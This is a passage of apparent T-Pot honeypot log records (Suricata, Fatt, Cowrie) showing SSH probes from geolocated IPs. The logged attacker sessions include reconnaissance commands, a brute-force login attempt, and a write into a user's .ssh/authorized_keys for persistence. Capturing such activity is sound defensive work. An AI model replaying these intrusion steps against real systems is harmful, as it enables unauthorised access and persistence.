"AAADzAYUlhZOgYbX18dzktCgxBUAYAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2134, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:14.510493Z", "@timestamp": "2021-09-20T11:54:14.510Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........N.....s......`...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33035	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:54:15.160743+03	2021-09-20 15:00:04.235724+03	{"_id": "5QYOA3wBvYTbRNuEhU1f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40422, "dest_port": 22, "timestamp": "2021-09-20T11:54:15.160743", "@timestamp": "2021-09-20T11:54:15.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33036	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:15.886757+03	2021-09-20 15:00:04.236722+03	{"_id": "5gYOA3wBvYTbRNuEhk3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:15.886757Z", "@timestamp": "2021-09-20T11:54:15.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33037	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:16.357458+03	2021-09-20 15:00:04.237723+03	{"_id": "7AYOA3wBvYTbRNuEik3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "189.50.42.214", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4713289737701416, "duplicate": true, "timestamp": "2021-09-20T11:54:16.357458Z", "@timestamp": "2021-09-20T11:54:16.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33038	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:54:16.486516+03	2021-09-20 15:00:04.239722+03	{"_id": "7QYOA3wBvYTbRNuEik3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [pk/pk@123] failed", "session": "119df4829777", "@version": "1", "password": "pk@123", "username": "pk", "timestamp": "2021-09-20T11:54:16.486516Z", "@timestamp": "2021-09-20T11:54:16.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33039	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:16.741344+03	2021-09-20 15:00:04.240722+03	{"_id": "7gYOA3wBvYTbRNuEik3C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:16.741344Z", "@timestamp": "2021-09-20T11:54:16.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33040	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:18.015068+03	2021-09-20 15:00:04.241722+03	{"_id": "8gYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "189.50.42.214", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "373281d7e10b", "@version": "1", "destfile": "/home/irfan/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:54:18.015068Z", "@timestamp": "2021-09-20T11:54:18.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
33041	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:17.532671+03	2021-09-20 15:00:04.242723+03	{"_id": "9QYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:17.532671Z", "@timestamp": "2021-09-20T11:54:17.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33042	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:17.628719+03	2021-09-20 15:00:04.243722+03	{"_id": "9gYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3bee2e32ce97", "@version": "1", "duration": 2.758401870727539, "timestamp": "2021-09-20T11:54:17.628719Z", "@timestamp": "2021-09-20T11:54:17.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33043	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:17.210249+03	2021-09-20 15:00:04.244722+03	{"_id": "8QYOA3wBvYTbRNuEjk2r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "189.50.42.214", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46898484230041504, "duplicate": true, "timestamp": "2021-09-20T11:54:17.210249Z", "@timestamp": "2021-09-20T11:54:17.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33044	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:18.331677+03	2021-09-20 15:00:04.247722+03	{"_id": "-gYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:18.331677Z", "@timestamp": "2021-09-20T11:54:18.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33045	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:18.977633+03	2021-09-20 15:00:04.248723+03	{"_id": "_gYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:18.977633Z", "@timestamp": "2021-09-20T11:54:18.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33046	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:18.56563+03	2021-09-20 15:00:04.249722+03	{"_id": "_AYOA3wBvYTbRNuEkk2S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "1.116.239.130", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5546045303344727, "duplicate": true, "timestamp": "2021-09-20T11:54:18.565630Z", "@timestamp": "2021-09-20T11:54:18.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33047	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:19.549497+03	2021-09-20 15:00:04.250723+03	{"_id": "AQYOA3wBvYTbRNuElk58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "1.116.239.130", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5719470977783203, "duplicate": true, "timestamp": "2021-09-20T11:54:19.549497Z", "@timestamp": "2021-09-20T11:54:19.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33048	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:19.924475+03	2021-09-20 15:00:04.252723+03	{"_id": "AwYOA3wBvYTbRNuElk58", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:19.924475Z", "@timestamp": "2021-09-20T11:54:19.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33049	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:19.401611+03	2021-09-20 15:00:04.253723+03	{"_id": "CAYOA3wBvYTbRNuElk59", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 26 seconds", "session": "373281d7e10b", "@version": "1", "duration": 26.828954696655273, "timestamp": "2021-09-20T11:54:19.401611Z", "@timestamp": "2021-09-20T11:54:19.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33050	5.188.62.250	109.199.241.180	Fatt	2021-09-20 14:54:05.020006+03	2021-09-20 15:00:04.254721+03	{"_id": "XQYOA3wBvYTbRNuEXk1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 47036, "dest_port": 22, "timestamp": "2021-09-20T11:54:05.020006", "@timestamp": "2021-09-20T11:54:05.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33051	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:05.093654+03	2021-09-20 15:00:04.255721+03	{"_id": "ZQYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "91.231.219.157", 